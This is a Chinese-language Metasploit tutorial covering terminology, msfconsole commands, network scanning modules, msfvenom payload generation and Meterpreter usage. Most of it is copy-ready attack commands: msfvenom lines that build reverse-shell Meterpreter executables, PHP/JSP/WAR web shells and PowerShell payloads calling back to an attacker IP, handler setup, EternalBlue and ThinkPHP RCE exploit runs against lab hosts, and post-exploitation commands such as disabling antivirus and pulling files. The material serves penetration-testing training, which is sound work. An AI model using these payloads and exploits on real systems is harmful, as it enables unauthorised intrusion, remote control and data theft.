一、常见名词解释
- POC: Proof of Concept,概念证明,用来证明漏洞存在的一段代码,没有攻击性
- EXP : Exploit,利用,利用系统漏洞进行攻击的动作、方式、方法,具有攻击性
- Payload:有效载荷,指 Exploit 执行成功之后,真正在系统进行执行的代码或者指令
- Shellcode:一段 16 进制的机器码,用于在漏洞利用过程中与攻击者建立交互式 shell 连接。可以是正向连接(连接到攻击者)或反向连接(从攻击者处接收指令)
- Client:客户端,与服务端进行通信的程序或设备
- Team Server:服务端, C2 服务器, Beacon Payload 的控制器
- Beacon:是 Cobalt Strike 工具运行在目标主机上的 payload,用于隐蔽地与Team Server 通信并接受指令,实现长期控制。
- C2: Command & Control Server,命令与控制服务器,是攻击者用来远程控制目标系统的服务器
二、MSF 简介
Metasploit Framework (MSF) 是一款全球领先的开源渗透测试工具,专为安全研究人员和专业人士设 计,用于评估系统的安全性。它提供了一个高度模块化和可扩展的平台,用于发现、开发和执行漏洞 利用。
- 模块化设计:MSF 由多个模块(Module)组成,包括漏洞利用模块、payload 生成器、攻击向量和后渗透模块。
- 开源:作为开源工具,MSF 拥有活跃的社区支持,不断有新的漏洞利用和功能被添加。
- 跨平台支持:MSF支持多种操作系统和架构,包括 Windows、Linux、macOS 等。
- 持续更新:MSF 团队和社区成员持续更新数据库,确保包含最新的漏洞信息和利用技术。
- 漏洞利用:集成了大量已知漏洞的利用代码,覆盖了各种软件和系统的安全漏洞。
- Payload 定制:用户可以根据需要定制 payload,执行特定的后渗透活动,如数据收集、系统控制 等。
- 自动化测试:MSF 提供自动化测试功能,可以快速评估目标系统的脆弱性。
- 后渗透活动:在成功利用漏洞后,MSF 可以进行进一步的后渗透操作,如提升权限、横向移动等。
三、MSF 框架结构
Kali-metasploit 框架目录结构
| 名称 | 描述 |
|---|---|
| app | 包含与Metasploit框架相关的应用程序代码或配 置。 |
| config | 包含Metasploit框架的配置文件,用于设置工具的运行参数。 |
| data | 存储Metasploit框架所需的数据文件,包括但不限于漏洞利用数据、密码列表、图像和其他二进制文件。 |
| documentation | 包含Metasploit框架的官方文档和用户指南。 |
| lib | 存放Metasploit 框架的核心库文件,包括Ruby 类和模块。 |
| plugins | 存放Metasploit 框架的插件,用于扩展框架的功能。 |
| scripts | 存放Metasploit框架使用的脚本,包括 用 Meterpreter脚本和其他自动化脚本。 |
| tools | 存放命令行实用程序,用于辅助渗透测试和安全分析。 |
| modules | 存储Metasploit框架的模块文件,包括漏洞利用、payload、编码器等。 |
| msfconsole | Metasploit 框架的命令行界面(CLl)启动脚本。 |
| msfdb | 用于启动Metasploit 数据库的脚本。 |
| msfupdate | 用于更新Metasploit框架的脚本。 |
| msfvenom | 用于生成payload的Metasploit工具。 |
四、MSF 启动命令行界面
1.msfconsole 介绍
msfconsole是Metasploit 框架的命令行用户接口,它提供了一个交互式的环境,允许用户访问和操作Metasploit框架中的所有模块。
2.msfconsole 启动
msfconsole

五、MSF 命令查询
1.命令帮助菜单
进入 msfconsole 后执行命令
help
2.核心命令
Core Commands
=============
Command Description
------- -----------
? 帮助菜单
banner 显示Metasploit banner信息
cd 更改当前工作目录
color 切换颜色
connect 与主机通信
debug 显示对调试有用的信息
exit 退出控制台
features 显示可以选择加入的尚未发布的功能列表
get 获取特定变量的值
getg 获取全局变量的值
grep 筛选以一条命令的输出
help 帮助菜单
history 显示命令历史记录
load 加载框架插件
quit 退出控制台
repeat 重复一个命令列表
route 通过一个session会话路由流量
save 保存活动的数据存储
sessions 导出会话列表并显示会话信息
set 将一个特定环境的变量设置为一个值
setg 将一个全局变量设置为一个值
sleep 在指定的秒数内不执行任何操作
spool 将控制台输出写入文件以及屏幕
threads 查看和操作后台线程
tips 显示有用的提示清单
unload 卸载框架插件
unset 取消设置的一个或多个变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号
3.模块命令
Module Commands
===============
Command Description
------- -----------
advanced 显示一个或多个模块的高级选项
back 从当前环境返回
clearm 清除模块堆栈
favorite 将模块添加到最喜欢的模块列表中
info 显示一个或多个模块的详细信息
listm 列表中的模块栈
loadpath 从路径中搜索并加载模块
options 显示一个或多个模块全局选项
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动模块或模块列表推送到模块堆栈
reload_all 重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的的模块或所有模块
use 通过名称或搜索词/索引选择使用模块
4.作业命令
Job Commands
============
Command Description
------- -----------
handler 启动一个payload处理程序作为job
jobs 显示和管理 jobs
kill 杀掉一个job
rename_job 重命名一个job
5.资源脚本命令
Resource Script Commands
========================
Command Description
------- -----------
makerc 将从开始输入的命令保存到文件中
resource 运行存储在文件中的命令
6.后端数据库命令
Database Backend Commands
=========================
Command Description
------- -----------
analyze 分析关于一个特定地址或地址范围的数据库信息
db_connect 连接到一个现有的数据服务
db_disconnect 与当前的数据服务断开连接
db_export 导出一个包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块缓存(已废弃)
db_remove 删除已保存的数据服务条目
db_save 将当前的数据服务连接保存为默认,以便在启动时重新连接
db_status 显示当前的数据服务状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作空间之间切换
7.后端凭证命令
Credentials Backend Commands
============================
Command Description
------- -----------
creds 列出数据库中的所有凭证
8.开发者命令
Developer Commands
==================
Command Description
------- -----------
edit 用首选编辑器编辑当前模块或文件
irb 在当前环境下打开一个交互式Ruby shell
log 如果可能的话,将framework.log分页显示到最后。
pry 在当前模块或框架上打开 Pry 调试器
reload_lib 从指定路径重新加载Ruby库文件
time 运行一个特定命令所需的时间
9.DNS 命令
DNS Commands
============
Command Description
------- -----------
dns 管理Metasploit的DNS解析行为
10.辅助模块命令
Auxiliary Commands
==================
Command Description
------- -----------
check 检查目标是否易受攻击
exploit 这是run命令的别名
rcheck 重新加载模块并检查目标是否易受攻击
recheck 这是 rcheck 命令的别名
reload 重新加载辅助模块
rerun 重新加载并启动辅助模块
rexploit 这是 rerun 命令的别名
run 启动辅助模块
11.数据库管理命令
msfdb init # 启动并初始化数据库
msfdb reinit # 删除并重新初始化数据库
msfdb delete # 删除并停止使用数据库
msfdb start # 启动数据库
msfdb stop # 停止数据库
msfdb status # 检查服务状态
msfdb run # 启动数据库并运行msfconsole
12.攻击载荷命令
check 检查一个目标是否易受攻击
generate 生成一个有效载荷
reload 从磁盘重新加载当前的模块
to_handler 用指定的有效载荷创建一个处理程序
13.常用命令
命令 描述
------- -----------
show exploits 查看所有可用的利用模块
show auxiliary 查看所有可用的辅助模块
show options 查看模块可用选项
show advanced 查看模块高级选项
show payloads 查看模块适用的所有攻击载荷
show targets 查看模块适用的攻击目标类型
search 根据关键字搜索模块
info 显示模块的详细信息
use 使用模块
back 回退
set 设置模块参数
unset 取消设置的模块参数
setg 设置适用于所有模块的全局参数
unsetg 取消设置的适用于所有模块的全局参数
六、MSF 模块介绍
Metasploit 中有以下 7 种不同的模块类型,每种模块都有其特定的功能和应用场景:
| 模块类型 | 模块功能 | 模块应用 |
|---|---|---|
| Auxiliary 辅助模块 | 执行辅助性任务,如端口扫描、密码破解、漏洞验证等,为渗透测试提供情报支持 | 网络服务枚举、漏洞扫描、数据提取, 以及拒绝服务攻击等 |
| Exploits 漏洞利用模块 | 利用目标系统的安全漏洞执行攻击载荷以获得访问权限 | 远程和本地漏洞利用、权限提升、客户 端漏洞利用、Web应用程序漏洞利用等 |
| Payloads 攻击载荷模块 | 在漏洞利用成功后,执行目标机器上的代码,如反弹shell或建立Meterpreter会话 | 建立交互式会话、,执行系统命令、下载和执行远程程序等 |
| Post 后渗透阶段模块 | 在成功获取目标系统访问权限后, 执行进一步的渗透操作 | 凭证转储、权限提升、后门安装、 敏感数据提取、键盘记录等 |
| Encoders 编码器模块 | 对攻击载荷进行编码或加密, 以规避入侵检测系统 | 使用base64、XOR 等编码技术, 混淆payload,提高渗透成功率 |
| Evasion 躲避模块 | 生成能够规避安全防御措施的payload | 防病毒软件规避、AppLocker 绕过、软件限制策略绕过等 |
| Nop 空指令模 块 | 生成无害的”无操作”指令, 用于填充或稳定payload | 在内存中滑动,避免因内存地址随机化等因素导致的payload执行失败 |
Metasploit 模块库
Metasploit Module Library – InfosecMatter
七、MSF 辅助模块
1.Auxiliary 模块介绍
- 功能:执行辅助性任务,如端口扫描、密码破解、漏洞验证等,为渗透测试提供情报支持。
- 应用:网络服务枚举、漏洞扫描、数据提取,以及拒绝服务攻击等。
2.MSF 主机发现
- 模块路径:modules/auxiliary/scanner/discovery/
- 搜索模块
search aux /scanner/discovery

arp_sweep:使用 ARP 请求枚举本地局域网中的所有活跃主机
udp_sweep:通过发送 UDP 数据包探查指定主机是否活跃,并发现主机上的 UDP 服务。
- 模块使用
use auxiliary/scanner/discovery/arp_sweep
options
set RHOSTS 192.168.81.0/24
set THREADS 100
run
或者use + 索引 进行使用
use 0

使用模块:use 模块名
查看模块选项:options
模块选项
Name:模块选项名
Current Setting:当前选项设置的值
Required:必要选项,必须要设置值的选项
Description:选项描述
设置选项:set 选项名 选项值
运行模块:run
3.MSF 服务扫描
- 服务扫描:确定开放端口后,对相应端口上所运行的服务信息进行挖掘
- 模块搜索
在 Metasploit 的 Scanner 辅助模块中,用于服务扫描和查点的工具常以如下形式命名:
[service_name]_version:可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本
[service_name]_login:可对某种服务进行口令探测攻击
查看所有可用的服务探测模块,可以在 MSF 终端中输入:
search scanner _version

查看所有服务登录口令探测模块,可以在 MSF 终端中输入:
search scanner _login

1)SSH 服务扫描
- 搜索模块
search scanner/ssh

# SSH登录检查扫描
auxiliary/scanner/ssh/ssh_login
# SSH版本扫描
auxiliary/scanner/ssh/ssh_version
- 使用 SSH 版本扫描模块
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 10.34.126.129
set THREADS 100
run

2)SMB 服务扫描
- 搜索模块
search scanner/smb
- 使用 SMB 服务版本扫描模块
use auxiliary/scanner/smb/smb_version
options
set RHOST 192.168.60.220
run
3)Oracle 数据库扫描
search scanner/oracle
4)MSSQL 服务扫描
search scanner/mssql
5)FTP 扫描
search scanner/ftp
6)SMTP 扫描
search scanner/smtp
7)SNMP 扫描
search scanner/snmp
4.MSF 端口扫描
模块路径: modules/auxiliary/scanner/portscan/
模块搜索
search scanner/portscan
auxiliary/scanner/protscan/tcp
# 通过一次完整的TCP连接来判断端口是否开放 最准确但是最慢
auxiliary/scanner/protscan/ack
# 通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测
auxiliary/scanner/protscan/syn
# 使用发送TCP SYN标志的方式探测开放端口
auxiliary/scanner/protscan/ftpbounce
# 通过FTP bounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器软件能很好的防范此攻击,但在旧的系统上仍可以被利用
auxiliary/scanner/protscan/xmas
# 一种更为隐秘的扫描方式,通过发送FIN,PSH,URG标志,能够躲避一些高级的TCP标记检测器的过滤
一般情况下推荐使用syn端口扫描器,速度较快,结果准确,不易被对方察觉
use auxiliary/scanner/portscan/syn
set RHOSTS 192.168.81.111
set THREADS 100
run
八、MSF 攻击载荷模块
1.Payloads 模块介绍
- 模块路径:/usr/share/metasploit-framework/modules/payloads/
- payload:又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的
- 功能:在漏洞利用成功后,执行目标机器上的代码,如反弹 shell 或建立 Meterpreter 会话。
- 应用:建立交互式会话、执行系统命令、下载和执行远程程序等。
2.Payload 类型
1)Singles
- Singles:独立载荷
- 定义:独立载荷是单一功能的代码片段,能够在目标系统上独立执行,无需进一步的网络连接或分阶段加载。
- 示例:shell_bind_tcp,一个在目标系统上创建一个TCP绑定shell的payload。
2)stagers
- Stagers:传输器载荷
- 定义:传输器载荷用于在目标系统和攻击者之间建立初步的网络连接,通常体积小,便于注入。
- 类型:
Bind 型:攻击者需要主动连接目标系统上的端口。
Reverse 型:目标系统反向连接到攻击者指定的IP地址和端口。
3)Stages
- Stages:传输体载荷
- 定义:传输体载荷在传输器载荷的稳定连接建立后被传输到目标系统,用于执行更复杂的操作或提供更高级的控制。
- 示例:shell或meterpreter,在连接建立后提供对目标系统的高级控制。
- Meterpreter:是一个高级、可交互的payload,运行在内存中,通常不留文件痕迹,难以被检测。
4)Stageless Payload
- Stageless Payload:不分阶段的payload
- 定义:是一个包含所有必需组件的单一二进制文件,体积较大,但无需额外的下载或连接步骤即可执行。
- 示例:
<platform>/<arch>/<single> - 特点:例如,Stageless Meterpreter,它将Meterpreter的所有功能直接编译在木马中。
5)Staged Payload
- Staged Payload:分阶段的payload
- 定义:首先通过一个小的传输器载荷(stager)建立连接,然后下载并执行更复杂的传输体载荷 (stage)。
- 示例:
<platform>/<arch>/<stage>/<stager> - 特点:例如,Staged Meterpreter,它首先建立网络连接,然后下载并加载Meterpreter或其他高 级payload。
| Payload 类 型 | Staged 分阶段Payload 示例 | Stageless 不分阶段 Payload 示例 |
|---|---|---|
| Reverse TCP | windows/meterpreter/reverse_tcp | windows/meterpreter_reverse_tcp |
| Reverse HTTPS | windows/meterpreter/reverse_https | windows/meterpreter_reverse_https |
| Bind TCP | windows/meterpreter/bind_tcp | windows/meterpreter_bind_tcp |
| Reverse TCP IPv6 | windows/meterpreter/reverse_ipv6_tcp | windows/meterpreter_reverse_ipv6_tcp |
3.Payload 生成
1)msfvenom 简介
- Msfvenom 是 Metasploit 框架的一个独立有效负载(Payload)生成器。
- 它用于创建定制化的后门程序,这些程序可以在目标系统上执行并允许攻击者建立连接和控制。
- Msfvenom 提供了丰富的选项,允许用户根据目标环境和需求定制payload。
2)msfvenom 选项
Options:
-l, --list <type> 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, archs, encrypt, formats, all
-p, --payload <payload> 指定使用的payload(攻击载荷)。使用自定义的payload,使用`-`或者stdin指定
--list-options 列出 payload 的标准, 高级和规避选项
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder <encoder> 指定需要使用的encoder(编码器)
--sec-name <value> 生成大型Windows二进制文件时要使用的新节名。默认值:随机4字节alpha字符串
--smallest 使用所有可用的编码器生成最小的有效负载
--encrypt <value> 适用于shellcode的加密或编码类型(使用 --list encrypt 列出)
--encrypt-key <value> 用于--encrypt的密钥
--encrypt-iv <value> --encrypt的初始化向量
-a, --arch <architecture> 用于--payload和--encoders的体系结构(使用 --list archs 列出)
--platform <platform> 指定payload使用的平台(使用--list platform列出)
-o, --out <path> 保存payload
-b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
--pad-nops 将由-n指定的nopsled大小用作总有效负载大小,自动添加nopsled数量(nops减去payload长度)
-s, --space <length> 设定有效攻击荷载的最大长度
--encoder-space <length> 编码的有效负载的最大大小(默认为-s value)
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
-t, --timeout <second> 从STDIN读取有效负载时要等待的秒数(默认为30,0 为禁用)
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
3)msfvenom 生成 Payload
生成payload,有两个必须的选项:-p 、-f,使用 -p 来指定要使用的 payload,使用-f来指定payload的输出格式
(1)基本命令
- 查看可用的 Payload 列表
msfvenom -l payloads

- 查看支持的输出格式
msfvenom -l formats

- 查看可用平台
msfvenom -l platforms

- 查看可用的编码器
msfvenom -l encoders

- 查看可用的系统架构
msfvenom -l archs

- 查看可用加密格式
msfvenom -l encrypt

- 查看可用 nops
msfvenom -l nops

(2)生成特定格式的 Payload
- 生成可执行文件格式
# windows
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f exe -o win.exe
或者简写
# windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.34.126.129 LPORT=6666 -f exe -o win.exe

# linux
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f elf -o linux.elf
# macos
msfvenom -a x64 --platform osx -p osx/x64/meterpreter_reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f macho -o macos.macho
msfvenom -a aarch64 --platform osx -p osx/aarch64/meterpreter_reverse_tcp LHOST=192.168.81.115 LPORT=6666 -f macho -o macos-arm.macho
# android
msfvenom --platform android -p android/meterpreter/reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f raw -o android.apk
- 生成 shellcode
# windows shellcode
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.34.126.129 LPORT=6666 -f c

# linux shellcode
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f c
- 生成脚本格式
# php
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f raw -o shell.php
# jsp
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f raw -o shell.jsp
# war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f raw -o shell.war
# python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.81.111 LPORT=6666 -f raw -o shell.py
# powershell
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.81.111 LPORT=6666 -f psh -o shell.ps1
4)msfvenom 生成 Payload 实例
(1)msfvenom 生成 windows 可执行程序
# windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.34.126.129 LPORT=6666 -f exe -o win.exe
(2)msfconsole 开启监听
注意:exp类型要与exe程序类型一样
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.34.126.129
set lport 6666
run

(3)在目标主机执行 win.exe
得到 Meterpreter交互式shell

如果不想退出会话可以用background指令,将session会话在后台执行

注意:此时监听器会自动退出,如果不想自动退出,使用如下命令
set exitonsession false
在开启后台监听时,就可以随时连接会话

九、MSF 漏洞利用模块
1.Exploits 模块介绍
- 模块路径:/usr/share/metasploit-framework/modules/exploits
- 功能:利用目标系统的安全漏洞,执行攻击载荷以获得访问权限。
- 应用:远程和本地漏洞利用、权限提升、客户端漏洞利用、Web 应用程序漏洞利用等。
2.Windows – MS17-010
1)搜索漏洞利用模块
search ms17-010

use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.33.33
# 检测目标是否存在漏洞
check
# 运行攻击模块
run

3.Linux – Thinkphp-RCE
1)搜索漏洞利用模块
search thinkphp
2)使用漏洞利用模块
use exploit/unix/webapp/thinkphp_rce
set rhosts a4b18993c9b2.target.yijinglab.com
set rport 80
set lhost 124.71.45.28
set lport 6666
set ReverseListenerBindAddress 192.168.0.141

注意:
- 更改改rhosts,形式是域名
- 更改rport,端口是80
- 更改srvport,在本地的9999端口开启web服务用于目标主机下载payload
- 更改lhost
- 更改lport
运行漏洞利用模块
run

十、Meterpreter 扩展模块
1.Meterpreter 简介
Meterpreter 是 Metasploit Framework 中一个高级、多功能的交互式payload,通常用于在成功利 用漏洞后建立稳定的控制通道。与传统的命令行shell相比,Meterpreter 提供了更为丰富的功能和更高 的隐蔽性。
- 动态性:Meterpreter 能够在内存中动态加载和执行扩展模块,无需在磁盘上留下痕迹。
- 可扩展性:用户可以根据需要加载不同的扩展模块,以执行特定的任务。
2.Meterpreter 特点
- 跨平台支持:Meterpreter 支持 Windows、Linux 等多种操作系统,以及 x86 和 x64 架构。
- 纯内存运行:Meterpreter 主要运行在内存中,减少了被安全软件检测的可能性。
- 语言无关性:除了原生支持的 Ruby 脚本扩展,Meterpreter 还支持基于 PHP 和 Java 的实现。
3.Meterpreter 功能
- 系统控制:Meterpreter 提供了添加用户、提升权限、执行系统命令等功能。
- 隐蔽操作:包括隐藏进程、规避安全检测等。
- 数据访问:允许上传下载文件、访问注册表(仅限Windows)。
- 信息收集:捕获屏幕、键盘记录、获取系统信息和网络配置。
- 会话管理:支持会话持久化和多会话管理。
4.Meterpreter 常用 shell
1)reverse_tcp
- reverse_tcp:基于 TCP 的反弹 Shell
- 描述:反弹Shell意味着目标系统主动连接到攻击者的机器上。这种类型的Meterpreter Shell适用于大多数渗透测试场景。
- 特点:稳定可靠,是渗透测试中最常用的Meterpreter Shell。
linux/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/reverse_tcp
2)bind_tcp
- bind_tcp:基于TCP的正向连接Shell
- 描述:正向连接Shell要求攻击者的机器连接到目标系统上的特定端口。由于内网跨网段的限制,这种Shell在内网渗透中非常有用。
- 特点:不需要设置LHOST(监听主机),适用于目标无法访问外部网络的场景。
linux/x64/meterpreter/bind_tcp
3)reverse_http
- reverse_http:基于 http 方式的反向连接
- 描述:使用HTTP协议建立反弹连接的Meterpreter Shell。由于HTTP的特性,它可能在网络条件较差时不稳定。
- 特点:可以在某些具有严格网络过滤的环境下使用,但速度较慢时可能不稳定。
windows/meterpreter/reverse_http
4)reverse_https
- reverse_https:基于HTTPS的反弹连接
- 描述:使用HTTPS协议建立反弹连接的Meterpreter Shell,与reverse_http类似,但提供了加密的数据传输。
- 特点:提供了比reverse_http更高的数据传输安全性,适用于需要加密通信的场景,但同样可能在网络条件较差时不稳定。
windows/meterpreter/reverse_https
5.Meterpreter 操作
background:将当前session挂起
sessions -l:列出当前所有的session
sessions -i id:进入某个session
常用命令
background #放回后台 exit #关闭会话 help #帮助信息 sysinfo #系统平台信息 screenshot #屏幕截取 shell #命令行shell (exit退出) getlwd #查看本地目录 lcd #切换本地目录 getwd #查看目录 ls #查看文件目录列表 cd #切换目录 rm #删除文件 download C:\\1.txt 1.txt #下载文件 upload /var/www/wce.exe wce.exe #上传 文件 search -d c: -f *.doc #搜索文件 execute -f cmd.exe -i #执行程序/命令 ps #查看进程 getuid #查看当前用户权限 run killav #关闭杀毒软件 run getgui-e #启用远程桌面